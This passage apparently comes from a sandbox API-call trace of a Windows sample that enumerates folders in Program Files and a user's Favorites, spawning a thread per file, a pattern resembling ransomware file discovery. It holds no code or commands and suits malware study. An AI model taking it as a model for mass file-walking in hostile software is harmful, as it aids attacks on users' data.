lpParameter=0x12cfc5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0066.992] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0066.992] wcscmp (_String1="Sybase.xsl", _String2=".") returned 1 [0066.993] wcscmp (_String1="Sybase.xsl", _String2="..") returned 1 [0066.993] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x12cfc670 [0066.993] wcscpy (in: _Dest=0x12cfc670, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0066.993] wcscat (in: _Dest=0x12cfc670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0066.993] wcscat (in: _Dest=0x12cfc670, _Source="Sybase.xsl" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" [0066.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4 [0066.994] FindNextFileW (in: hFindFile=0x440b60, lpFindFileData=0x458488 | out: lpFindFileData=0x458488*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0066.994] FindClose (hFindFile=0x440b60) Thread: id = 530 os_tid = 0xf38 [0049.329] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x438228 [0049.329] wcscpy (in: _Dest=0x438228, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0049.329] wcscat (in: _Dest=0x438228, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0049.329] wcscat (in: _Dest=0x438228, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*" [0049.329] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x457fb8 [0049.329] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x457fb8 | out: lpFindFileData=0x457fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440b20 [0051.211] wcscmp (_String1=".", _String2=".") returned 0 [0051.211] FindNextFileW (in: hFindFile=0x440b20, lpFindFileData=0x457fb8 | out: lpFindFileData=0x457fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.211] wcscmp (_String1="..", _String2=".") returned 1 [0051.211] wcscmp (_String1="..", _String2="..") returned 0 [0051.211] FindNextFileW (in: hFindFile=0x440b20, lpFindFileData=0x457fb8 | out: lpFindFileData=0x457fb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.211] wcscmp (_String1="1033", _String2=".") returned 1 [0051.211] wcscmp (_String1="1033", _String2="..") returned 1 [0051.211] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x439788 [0051.211] wcscpy (in: _Dest=0x439788, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0051.211] wcscat (in: _Dest=0x439788, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0051.211] wcscat (in: _Dest=0x439788, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" Thread: id = 531 os_tid = 0xf3c [0049.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x447760 [0049.330] wcscpy (in: _Dest=0x447760, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" [0049.330] wcscat (in: _Dest=0x447760, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\" [0049.330] wcscat (in: _Dest=0x447760, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*" [0049.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427600 [0049.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440560 [0051.213] wcscmp (_String1=".", _String2=".") returned 0 [0051.213] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.214] wcscmp (_String1="..", _String2=".") returned 1 [0051.214] wcscmp (_String1="..", _String2="..") returned 0 [0051.214] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0051.214] wcscmp (_String1="FeedSync.dll", _String2=".") returned 1 [0051.214] wcscmp (_String1="FeedSync.dll", _String2="..") returned 1 [0051.214] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0051.214] wcscmp (_String1="Microsoft.Synchronization.dll", _String2=".") returned 1 [0051.214] wcscmp (_String1="Microsoft.Synchronization.dll", _String2="..") returned 1 [0051.214] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0051.214] wcscmp (_String1="resources", _String2=".") returned 1 [0051.214] wcscmp (_String1="resources", _String2="..") returned 1 [0051.214] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x439820 [0051.214] wcscpy (in: _Dest=0x439820, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" [0051.214] wcscat (in: _Dest=0x439820, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\" [0051.214] wcscat (in: _Dest=0x439820, _Source="resources" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" [0059.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x439820, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8 [0059.811] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0059.811] wcscmp (_String1="Synchronization.dll", _String2=".") returned 1 [0059.811] wcscmp (_String1="Synchronization.dll", _String2="..") returned 1 [0059.811] FindNextFileW (in: hFindFile=0x440560, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 0 [0059.811] FindClose (in: hFindFile=0x440560 | out: hFindFile=0x440560) returned 1 [0059.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427600) returned 1 [0059.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447760) returned 1 [0059.812] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400b98) returned 1 Thread: id = 532 os_tid = 0xf40 [0049.336] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e738 [0049.336] wcscpy (in: _Dest=0x45e738, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0049.336] wcscat (in: _Dest=0x45e738, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\" [0049.336] wcscat (in: _Dest=0x45e738, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*" [0049.336] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425b88 [0049.336] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409f28 [0049.336] wcscmp (_String1=".", _String2=".") returned 0 [0049.336] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.337] wcscmp (_String1="..", _String2=".") returned 1 [0049.337] wcscmp (_String1="..", _String2="..") returned 0 [0049.337] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0049.337] wcscmp (_String1="1033", _String2=".") returned 1 [0049.337] wcscmp (_String1="1033", _String2="..") returned 1 [0049.337] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x446f68 [0049.337] wcscpy (in: _Dest=0x446f68, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" [0049.337] wcscat (in: _Dest=0x446f68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\" [0049.337] wcscat (in: _Dest=0x446f68, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" [0049.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x928 [0049.428] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x557a0300, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x557a0300, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x11348, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAClientPkg.dll", cAlternateFileName="VSTACL~1.DLL")) returned 1 [0049.428] wcscmp (_String1="VSTAClientPkg.dll", _String2=".") returned 1 [0049.428] wcscmp (_String1="VSTAClientPkg.dll", _String2="..") returned 1 [0049.428] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 1 [0049.428] wcscmp (_String1="VSTAProject.dll", _String2=".") returned 1 [0049.428] wcscmp (_String1="VSTAProject.dll", _String2="..") returned 1 [0049.428] FindNextFileW (in: hFindFile=0x409f28, lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e67c00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51e67c00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x4a548, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTAProject.dll", cAlternateFileName="VSTAPR~1.DLL")) returned 0 [0049.428] FindClose (in: hFindFile=0x409f28 | out: hFindFile=0x409f28) returned 1 [0049.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x425b88) returned 1 [0049.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e738) returned 1 [0049.429] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400798) returned 1 Thread: id = 533 os_tid = 0xf44 [0049.337] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d730 [0049.337] wcscpy (in: _Dest=0x48d730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0049.337] wcscat (in: _Dest=0x48d730, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0049.337] wcscat (in: _Dest=0x48d730, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*" [0049.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426528 [0049.338] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ba8 [0049.338] wcscmp (_String1=".", _String2=".") returned 0 [0049.338] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.338] wcscmp (_String1="..", _String2=".") returned 1 [0049.338] wcscmp (_String1="..", _String2="..") returned 0 [0049.338] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0049.338] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0049.338] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0049.338] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0049.338] wcscmp (_String1="Suggested Sites.url", _String2=".") returned 1 [0049.338] wcscmp (_String1="Suggested Sites.url", _String2="..") returned 1 [0049.338] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417470 [0049.338] wcscpy (in: _Dest=0x417470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0049.338] wcscat (in: _Dest=0x417470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0049.338] wcscat (in: _Dest=0x417470, _Source="Suggested Sites.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" [0049.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998 [0049.430] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0049.430] wcscmp (_String1="Web Slice Gallery.url", _String2=".") returned 1 [0049.430] wcscmp (_String1="Web Slice Gallery.url", _String2="..") returned 1 [0049.430] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x4177d0 [0049.430] wcscpy (in: _Dest=0x4177d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0049.430] wcscat (in: _Dest=0x4177d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\" [0049.430] wcscat (in: _Dest=0x4177d0, _Source="Web Slice Gallery.url" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" [0049.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4177d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34 [0049.431] FindNextFileW (in: hFindFile=0x409ba8, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0049.431] FindClose (in: hFindFile=0x409ba8 | out: hFindFile=0x409ba8) returned 1 [0049.432] RtlFreeHeap 